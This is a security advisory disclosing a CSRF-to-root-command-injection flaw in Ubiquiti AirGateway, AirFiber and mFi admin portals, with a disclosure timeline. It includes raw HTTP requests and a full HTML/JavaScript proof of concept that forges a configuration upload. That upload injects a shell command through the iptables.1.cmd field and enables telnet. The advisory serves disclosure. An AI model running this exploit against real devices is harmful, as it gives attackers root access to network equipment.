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Ubiquiti Administration Portal CSRF / Remote Command Execution

Posted on 29 June 2016

KL-001-2016-002 : Ubiquiti Administration Portal CSRF to Remote Command Execution

Title: Ubiquiti Administration Portal CSRF to Remote Command Execution
Advisory ID: KL-001-2016-002
Publication Date: 2016.06.28
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-002.txt

1. Vulnerability Details

Affected Vendor: Ubiquiti
Affected Product: AirGateway, AirFiber, mFi
Affected Version: 1.1.6, 3.2, 2.1.11
Platform: Embedded Linux
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF);
CWE-77: Improper Neutralization of Special Elements
used in a Command ('Command Injection')
Impact: Arbitrary Code Execution
Attack vector: HTTP

2. Vulnerability Description

The Ubiquiti AirGateway, AirFiber and mFi platforms feature
remote administration via an authenticated web-based portal.
Lack of CSRF protection in the Remote Administration Portal,
and unsafe passing of user input to operating system commands
exectuted with root privileges, can be abused in a way that
enables remote command execution.

3. Technical Description

The firmware files analyzed were
AirGWP.v1.1.6.28062.150731.1520.bin, AF24.v3.2.bin, and
firmware.bin respectively.

The MD5 hash values for the vulnerable files served by the
administration portal are:

AirGateway b45fe8e491d62251f0a7a100c636178a /usr/www/system.cgi
AirFiber d8926f7f65a2111f4036413f985082b9 /usr/www/system.cgi
mFi 960e8f6e507b227dbc4b65fc7a7036bc /usr/www/system.cgi

The firmware file contains a LZMA compressed, squashfs
partition. The binaries running on the embedded device are
compiled for a MIPS CPU. The device can be easily virtualized
using QEMU:

Example: sudo /usr/sbin/chroot . ./qemu-mips-static /usr/sbin/lighttpd
-f /etc/lighttpd/lighttpd.conf

The administration portal does not issue a randomized CSRF
token either per session, page, or request. Administration
authorization is solely based on cookie control. Therefore,
it is possible to embed JavaScript into an HTML page so when
an administrator is socially engineered into visiting the page,
the target device will be accessed with privileges.

Device configuration POST parameters include tokens passed to
operating system commands run as root in unsafe ways with
insufficient input sanitization. Command injection is possible
by stacking shell commands in parameters such as
iptables.1.cmd.

In order for a developer to recreate this discovery, the
following instructions should be duplicated.

a. Authenticate to the target web application and navigate to the
SYSTEM page.
b. Download the current configuration.
c. Open the configuration in an editor of your choice, navigate to the
line containing: iptables.1.cmd=-A FIREWALL -j ACCEPT
d. Append the following onto that line: ;touch /var/tmp/csrf-to-rce.txt
e. Save the changes, and submit the modified configuration. Apply the
changes using apply.cgi afterward.

Example:

POST /system.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0)
Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://192.168.1.1/system.cgi
Cookie: ui_language=en_US; last_check=1452020493426;
AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=---------------------------4384928471732886672453075690
Content-Length: 7204

...
iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/tmp/csrf-to-rce.txt
...

GET /apply.cgi?testmode=&_=[redacted] HTTP/1.1
Host: 192.168.1.1
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.1/system.cgi
Cookie: ui_language=en_US; last_check=1452020493426;
AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93
Connection: keep-alive

f. Change your IP address, but ensure continued routing to the target web
application. Incrementing the last octet is sufficient.
g. Open the configuration in an editor of your choice, navigate to the
modified line and alter it: ;touch /var/tmp/csrf-to-rce-newsrc.txt
h. Repeat step 5 from the new IP address. You will receive the same
response. Apply the changes using the apply.cgi file.
i. Login to the target device using SSH or telnet, navigate to /var/tmp
and type ls.
j. You'll discover both files exist.

4. Mitigation and Remediation Recommendation

At this time there is no vendor patch for this vulnerability.
The vendor was unable or unwilling to communicate an expected release
date for a proper mitigation.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2016.02.25 - KoreLogic sends vulnerability report and PoC to Ubiquiti.
2016.02.26 - Ubiquiti acknowledges receipt of vulnerability report.
2016.04.12 - 30 business days have elapsed since the vulnerability was
reported to Ubiquiti.
2016.04.21 - KoreLogic asks for an update on the remediation effort.
2016.04.29 - Ubiquiti replies that the patch will require
"significant changes" but does not provide an estimate
of the release time table.
2016.05.04 - 45 business days have elapsed since the vulnerability was
reported to Ubiquiti.
2016.05.12 - KoreLogic requests an update from Ubiquiti.
2016.05.23 - KoreLogic requests an update from Ubiquiti.
2016.06.23 - 80 business days have elapsed since the vulnerability was
reported to Ubiquiti.
2016.06.28 - Public disclosure.

7. Proof of Concept

########################################################################
#
# Copyright 2016 KoreLogic Inc., All Rights Reserved.
#
# This proof of concept, having been partly or wholly developed
# and/or sponsored by KoreLogic, Inc., is hereby released under
# the terms and conditions set forth in the Creative Commons
# Attribution Share-Alike 4.0 (United States) License:
#
# http://creativecommons.org/licenses/by-sa/4.0/
#
#######################################################################*

This example has been performed against the AirGateway device running the
1.1.6 firmware version. In order to recreate this vulnerability on
AirFiber and mFi, the attacker should first obtain a valid copy of the
device configuration and update this proof-of-concept code.

<html>
<body>
<form action="https://192.168.1.1/apply.cgi" id="airos-exploit-apply">
<input type="submit" value="Submit request" />
</form>

<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://192.168.1.1/system.cgi", true);
xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=---------------------------761818923593135447208368355");
xhr.withCredentials = true;
var body = "-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="fwfile"; filename=""
" +
"Content-Type: application/octet-stream
" +
"
" +
"
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="action"
" +
"
" +
"fwupload
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="update_status"
" +
"
" +
"enabled
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="hostname"
" +
"
" +
"airGateway
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="timezone"
" +
"
" +
"GMT
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="ui_language"
" +
"
" +
"en_US
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="adminname"
" +
"
" +
"ubnt
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="latitude"
" +
"
" +
"
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="longitude"
" +
"
" +
"
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="longitude"
" +
"
" +
"
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="cfgfile";
filename="hacked.cfg"
" +
"Content-Type: application/octet-stream
" +
"
" +
"aaa.1.radius.acct.1.status=disabled
" +
"wpasupplicant.status=disabled
" +
"wpasupplicant.device.1.status=disabled
" +
"wireless.status=enabled
" +
"wireless.1.wds.status=disabled
" +
"wireless.1.wds.6.peer=
" +
"wireless.1.wds.5.peer=
" +
"wireless.1.wds.4.peer=
" +
"wireless.1.wds.3.peer=
" +
"wireless.1.wds.2.peer=
" +
"wireless.1.wds.1.peer=
" +
"wireless.1.status=enabled
" +
"wireless.1.ssid=www.ubnt.com
" +
"wireless.1.security.type=none
" +
"wireless.1.scan_list.status=disabled
" +
"wireless.1.mac_acl.policy=allow
" +
"wireless.1.mac_acl.status=disabled
" +
"wireless.1.hide_ssid=disabled
" +
"wireless.1.devname=ath0
" +
"wireless.1.autowds=disabled
" +
"wireless.1.authmode=1
" +
"wireless.1.ap=
" +
"wireless.1.addmtikie=enabled
" +
"vlan.status=disabled
" +
"users.status=enabled
" +
"users.1.status=enabled
" +
"users.1.password=VvpvCwhccFv6Q
" +
"users.1.name=ubnt
" +
"upnpd.devname=
" +
"upnpd.status=disabled
" +
"tshaper.status=disabled
" +
"telnetd.status=enabled
" +
"telnetd.port=23
" +
"system.modules.blacklist.status=disabled
" +
"system.eirp.status=disabled
" +
"system.cfg.version=65542
" +
"syslog.status=disabled
" +
"syslog.remote.status=
" +
"sshd.status=enabled
" +
"sshd.port=22
" +
"sshd.auth.passwd=enabled
" +
"snmp.status=disabled
" +
"route.1.devname=eth0
" +
"route.1.status=disabled
" +
"route.1.comment=
" +
"route.1.gateway=0.0.0.0
" +
"route.1.netmask=0
" +
"route.1.ip=0.0.0.0
" +
"route.status=enabled
" +
"resolv.nameserver.2.status=enabled
" +
"resolv.nameserver.2.ip=
" +
"resolv.nameserver.1.status=enabled
" +
"resolv.nameserver.1.ip=
" +
"resolv.status=disabled
" +
"radio.status=enabled
" +
"radio.countrycode=840
" +
"radio.1.txpower=18
" +
"radio.1.subsystemid=0xe4c2
" +
"radio.1.status=enabled
" +
"radio.1.reg_obey=disabled
" +
"radio.1.rate.mcs=7
" +
"radio.1.rate.auto=enabled
" +
"radio.1.obey=disabled
" +
"radio.1.mode=master
" +
"radio.1.mcastrate=
" +
"radio.1.low_txpower_mode=disabled
" +
"radio.1.ieee_mode=11nght20
" +
"radio.1.freq=0
" +
"radio.1.forbiasauto=1
" +
"radio.1.dfs.status=enabled
" +
"radio.1.devname=ath0
" +
"radio.1.cwm.mode=0
" +
"radio.1.cwm.enable=0
" +
"radio.1.countrycode=840
" +
"radio.1.clksel=1
" +
"radio.1.chanshift=
" +
"radio.1.chanbw=0
" +
"radio.1.antenna.id=4
" +
"radio.1.acktimeout=25
" +
"radio.1.ackdistance=600
" +
"pwdog.status=enabled
" +
"pwdog.retry=3
" +
"pwdog.period=300
" +
"pwdog.host=8.8.8.8
" +
"pwdog.delay=300
" +
"ppp.status=disabled
" +
"ntpclient.status=enabled
" +
"ntpclient.1.status=enabled
" +
"ntpclient.1.server=0.ubnt.pool.ntp.org
" +
"netmode=soho
" +
"netconf.5.up=enabled
" +
"netconf.5.hwaddr.mac=
" +
"netconf.5.hwaddr.status=disabled
" +
"netconf.5.autoip.status=disabled
" +
"netconf.5.role=mlan
" +
"netconf.5.mtu=1500
" +
"netconf.5.devname=eth0
" +
"netconf.5.status=disabled
" +
"netconf.4.up=enabled
" +
"netconf.4.netmask=255.255.255.0
" +
"netconf.4.ip=0.0.0.0
" +
"netconf.4.hwaddr.mac=
" +
"netconf.4.hwaddr.status=disabled
" +
"netconf.4.autoip.status=disabled
" +
"netconf.4.role=bridge_port
" +
"netconf.4.mtu=1500
" +
"netconf.4.devname=eth1
" +
"netconf.4.status=enabled
" +
"netconf.3.up=enabled
" +
"netconf.3.netmask=255.255.255.0
" +
"netconf.3.ip=192.168.1.1
" +
"netconf.3.hwaddr.mac=
" +
"netconf.3.hwaddr.status=disabled
" +
"netconf.3.autoip.status=disabled
" +
"netconf.3.role=lan
" +
"netconf.3.mtu=1500
" +
"netconf.3.devname=br0
" +
"netconf.3.status=enabled
" +
"netconf.2.up=enabled
" +
"netconf.2.promisc=enabled
" +
"netconf.2.netmask=255.255.255.0
" +
"netconf.2.ip=0.0.0.0
" +
"netconf.2.hwaddr.mac=
" +
"netconf.2.hwaddr.status=disabled
" +
"netconf.2.autoip.status=disabled
" +
"netconf.2.role=bridge_port
" +
"netconf.2.mtu=1500
" +
"netconf.2.devname=ath0
" +
"netconf.2.status=enabled
" +
"netconf.1.up=enabled
" +
"netconf.1.promisc=enabled
" +
"netconf.1.netmask=255.255.255.0
" +
"netconf.1.ip=0.0.0.0
" +
"netconf.1.hwaddr.mac=
" +
"netconf.1.hwaddr.status=disabled
" +
"netconf.1.autoip.status=disabled
" +
"netconf.1.role=wan
" +
"netconf.1.mtu=1500
" +
"netconf.1.devname=eth0
" +
"netconf.1.status=enabled
" +
"netconf.status=enabled
" +
"iptables.sys.upnpd.devname=
" +
"iptables.sys.upnpd.status=disabled
" +
"iptables.sys.status=enabled
" +
"iptables.sys.portfw.status=disabled
" +
"iptables.sys.mgmt.status=disabled
" +
"iptables.sys.masq.1.status=enabled
" +
"iptables.sys.masq.1.devname=eth0
" +
"iptables.sys.masq.status=enabled
" +
"iptables.sys.fw.status=disabled
" +
"iptables.sys.dmz.status=disabled
" +
"iptables.1.comment=
" +
"iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/hacked.txt
" +
"iptables.1.status=enabled
" +
"iptables.status=enabled
" +
"igmpproxy.status=enabled
" +
"igmpproxy.upstream.devname=eth0
" +
"igmpproxy.1.downstream.devname=br0
" +
"httpd.status=enabled
" +
"httpd.session.timeout=900
" +
"httpd.port=80
" +
"httpd.https.status=enabled
" +
"httpd.https.port=443
" +
"gui.wlan.advanced.status=disabled
" +
"gui.network.advanced.status=enabled
" +
"ebtables.sys.vlan.status=disabled
" +
"ebtables.sys.status=enabled
" +
"ebtables.sys.eap.status=disabled
" +
"ebtables.sys.eap.1.status=enabled
" +
"ebtables.sys.eap.1.devname=ath0
" +
"ebtables.sys.arpnat.status=disabled
" +
"ebtables.sys.arpnat.1.status=enabled
" +
"ebtables.sys.arpnat.1.devname=ath0
" +
"ebtables.status=enabled
" +
"dyndns.status=disabled
" +
"dnsmasq.status=disabled
" +
"dnsmasq.1.status=disabled
" +
"dnsmasq.1.devname=eth0
" +
"discovery.status=enabled
" +
"discovery.cdp.status=enabled
" +
"dhcpd.1.start=192.168.1.2
" +
"dhcpd.1.netmask=255.255.255.0
" +
"dhcpd.1.lease_time=600
" +
"dhcpd.1.end=192.168.1.254
" +
"dhcpd.1.dnsproxy=enabled
" +
"dhcpd.1.devname=br0
" +
"dhcpd.1.dns.2.status=disabled
" +
"dhcpd.1.dns.2.server=
" +
"dhcpd.1.dns.1.status=disabled
" +
"dhcpd.1.dns.1.server=
" +
"dhcpd.1.status=enabled
" +
"dhcpd.status=enabled
" +
"dhcpc.1.status=enabled
" +
"dhcpc.1.fallback_netmask=255.255.255.0
" +
"dhcpc.1.fallback=192.168.10.1
" +
"dhcpc.1.devname=eth0
" +
"dhcpc.status=enabled
" +
"bridge.1.fd=1
" +
"bridge.1.comment=
" +
"bridge.1.port.2.devname=eth1
" +
"bridge.1.port.2.status=enabled
" +
"bridge.1.port.1.devname=ath0
" +
"bridge.1.port.1.status=enabled
" +
"bridge.1.stp.status=disabled
" +
"bridge.1.devname=br0
" +
"bridge.1.status=enabled
" +
"bridge.status=enabled
" +
"aaa.status=disabled
" +
"aaa.1.status=disabled
" +
"aaa.1.radius.macacl.status=disabled
" +
"aaa.1.radius.auth.1.status=disabled
" +
"
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="cfgupload"
" +
"
" +
"Upload
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="action"
" +
"
" +
"cfgupload
" +
"-----------------------------761818923593135447208368355
" +
"Content-Disposition: form-data; name="systemdate"
" +
"
" +
"
" +
"-----------------------------761818923593135447208368355--
";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
document.getElementById("airos-exploit-apply").submit();
</script>
</body>
</html>

The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

 

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